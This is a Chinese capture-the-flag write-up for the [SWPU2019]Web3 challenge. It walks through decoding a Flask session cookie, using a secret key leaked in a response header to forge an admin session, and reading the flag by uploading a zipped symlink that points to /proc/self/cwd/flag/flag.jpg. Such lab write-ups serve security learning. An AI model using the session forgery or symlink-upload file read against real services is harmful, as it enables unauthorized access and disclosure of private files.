当前位置: 首页 > news >正文

[SWPU2019]Web3

目录

考点:

解题:

知识点:

总结:


考点:

又是 Flask_session 

ln -s 软链接

代码审计

解题:

进入页面随便输入点东西

 不是ssti

访问upload 显示没有权限。

抓包看

 经典的 flask_session .

放到kali 里解密

python3 flask_session_cookie_manager3.py decode -c ".eJyrVspMUbKqVlJIUrJS8g1xLFeq1VHKLI7PyU_PzFOyKikqTdVRKkgsLi7PL0IojHIPy42MCCtOcbS1BWkoLU4tykvMTcWhoBYAbr4gMA.YxGslA.wMQVZ9zVUrMJ6O7VU73clHc6wfY"

b'{"id":{" b":"MTAw"},"is_login":true,"password":{" b":"ZGVmYXVsdA=="},"username":{" b":"ZGVmYXVsdA=="}}'

改成我们想要的 信息 再进行加密,但是我们没有密钥key

源码中有提示:

随便访问个不存在的url 地址, key就在返回包头中

 

 解密:

U0VDUkVUX0tFWTprZXlxcXF3d3dlZWUhQCMkJV4mKg==
         
keyqqqwwweee!@#$%^&*

进行session 加密成这样:

{'id': b'1', 'is_login': True, 'password': 'admin', 'username': 'admin'}
python3 flask_session_cookie_manager3.py encode -s 'keyqqqwwweee!@#$%^&*' -t "{'id': b'1', 'is_login': True, 'password': 'admin', 'username': 'admin'}"

 加密后抓包 改成session,成功进入到页面:

 F12查看源码。

@app.route('/upload',methods=['GET','POST'])
def upload():
    if session['id'] != b'1':
        return render_template_string(temp)
    if request.method=='POST':
        m = hashlib.md5()
        name = session['password']
        name = name+'qweqweqwe'
        name = name.encode(encoding='utf-8')
        m.update(name)
        md5_one= m.hexdigest()
        n = hashlib.md5()
        ip = request.remote_addr
        ip = ip.encode(encoding='utf-8')
        n.update(ip)
        md5_ip = n.hexdigest()
        f=request.files['file']
        basepath=os.path.dirname(os.path.realpath(__file__))
        path = basepath+'/upload/'+md5_ip+'/'+md5_one+'/'+session['username']+"/"
        path_base = basepath+'/upload/'+md5_ip+'/'
        filename = f.filename
        pathname = path+filename
        if "zip" != filename.split('.')[-1]:
            return 'zip only allowed'
        if not os.path.exists(path_base):
            try:
                os.makedirs(path_base)
            except Exception as e:
                return 'error'
        if not os.path.exists(path):
            try:
                os.makedirs(path)
            except Exception as e:
                return 'error'
        if not os.path.exists(pathname):
            try:
                f.save(pathname)
            except Exception as e:
                return 'error'
        try:
            cmd = "unzip -n -d "+path+" "+ pathname
            if cmd.find('|') != -1 or cmd.find(';') != -1:
				waf()
                return 'error'
            os.system(cmd)
        except Exception as e:
            return 'error'
        unzip_file = zipfile.ZipFile(pathname,'r')
        unzip_filename = unzip_file.namelist()[0]
        if session['is_login'] != True:
            return 'not login'
        try:
            if unzip_filename.find('/') != -1:
                shutil.rmtree(path_base)
                os.mkdir(path_base)
                return 'error'
            image = open(path+unzip_filename, "rb").read()
            resp = make_response(image)
            resp.headers['Content-Type'] = 'image/png'
            return resp
        except Exception as e:
            shutil.rmtree(path_base)
            os.mkdir(path_base)
            return 'error'
    return render_template('upload.html')


@app.route('/showflag')
def showflag():
    if True == False:
        image = open(os.path.join('./flag/flag.jpg'), "rb").read()
        resp = make_response(image)
        resp.headers['Content-Type'] = 'image/png'
        return resp
    else:
        return "can't give you"

定义了 两个路由  一个是 /upload   一个是 /showflag 。 上传的路由就是上传一个压缩的图片,然后上传上去之后会解压,然后再显示图片。  

还有一点就是 /show/flag 路由中,显示了 flag 的相对路径, /flag/flag.jpg

知识点:

我们这里可上传一个软连接压缩包,来读取其他文件,showflag路由告诉我们flag.jpg放在flask根目录的flag目录下,但是不知道其绝对路径。

1.在 linux 中,/proc/self/cwd/会指向进程的当前目录,在不知道 flask 工作目录时,我们可以用/proc/self/cwd/flag/flag.jpg来访问 flag.jpg。
2.ln -s是Linux的软连接命令,其类似与windows的快捷方式。比如ln -s /etc/passwd shawroot 这会出现一个名为shawroot的文件,其内容为/etc/passwd的内容。

如:

 

 看到snowy软链接已经被创建出来了。

访问 snowy  正是 /etc/passwd的内容。

 所以 整理下思路:

upload 源码 会将 我们上传的压缩图片进行解压,并解析到前端,我们上传一个/proc/self/cwd/flag/flag.jpg压缩过的软连接,这样  他就会解压我们软连接,并返回给我们看

 其中zip命令的参数含义如下:

-r:将指定的目录下的所有子目录以及文件一起处理

-y:直接保存符号连接,而非该连接所指向的文件,本参数仅在UNIX之类的系统下有效。

抓包上传压缩包即可。

总结:

 ln  -s   确实想不到,考点涉猎很广

相关文章:

  • 计算机毕业设计ssm+vue基本微信小程序的电影票务系统-电影票预订系统
  • 计算机毕业设计ssm+vue基本微信小程序的“香草屋”饮料奶茶点单小程序
  • 源码安装LNMP
  • Day35 移动端测试(下)
  • 【数据库SQL实战】获取所有部门当前manager的当前薪水情况
  • 通过json-server生成接口并实现一个CRUD项目
  • Java 转型问题(向上转型和向下转型)
  • c语言数据结构 二叉树(二)
  • 基于QT实现的SSL协议的安全报文发送接收设计
  • 虚拟列表的原理
  • 【Ubuntu小工具安装】
  • Vue封神之路(2.) Vue简介
  • 分布式锁全家桶
  • 数据库优化(8月27号)
  • 【BurpSuite】插件开发学习之J2EEScan(下)-主动扫描(11-20)
  • [NodeJS] 关于Buffer
  • [译] 怎样写一个基础的编译器
  • 2017届校招提前批面试回顾
  • 2018以太坊智能合约编程语言solidity的最佳IDEs
  • 78. Subsets
  • Android路由框架AnnoRouter:使用Java接口来定义路由跳转
  • canvas实际项目操作,包含:线条,圆形,扇形,图片绘制,图片圆角遮罩,矩形,弧形文字...
  • django开发-定时任务的使用
  • Lsb图片隐写
  • Redux系列x:源码分析
  • Traffic-Sign Detection and Classification in the Wild 论文笔记
  • Vim 折腾记
  • Yeoman_Bower_Grunt
  • 阿里云应用高可用服务公测发布
  • 测试开发系类之接口自动化测试
  • 第2章 网络文档
  • 飞驰在Mesos的涡轮引擎上
  • 基于web的全景—— Pannellum小试
  • 前端自动化解决方案
  • 推荐一个React的管理后台框架
  • 一个项目push到多个远程Git仓库
  • 好程序员web前端教程分享CSS不同元素margin的计算 ...
  • ​MySQL主从复制一致性检测
  • ​软考-高级-信息系统项目管理师教程 第四版【第14章-项目沟通管理-思维导图】​
  • (1)(1.19) TeraRanger One/EVO测距仪
  • (1)Map集合 (2)异常机制 (3)File类 (4)I/O流
  • (2015)JS ES6 必知的十个 特性
  • (9)STL算法之逆转旋转
  • (二)斐波那契Fabonacci函数
  • (附源码)springboot电竞专题网站 毕业设计 641314
  • (附源码)ssm基于微信小程序的疫苗管理系统 毕业设计 092354
  • (三)elasticsearch 源码之启动流程分析
  • (译) 理解 Elixir 中的宏 Macro, 第四部分:深入化
  • (转)大型网站架构演变和知识体系
  • ***微信公众号支付+微信H5支付+微信扫码支付+小程序支付+APP微信支付解决方案总结...
  • .net core 依赖注入的基本用发
  • .NET MVC、 WebAPI、 WebService【ws】、NVVM、WCF、Remoting
  • .net的socket示例
  • .NET开源全面方便的第三方登录组件集合 - MrHuo.OAuth
  • .net利用SQLBulkCopy进行数据库之间的大批量数据传递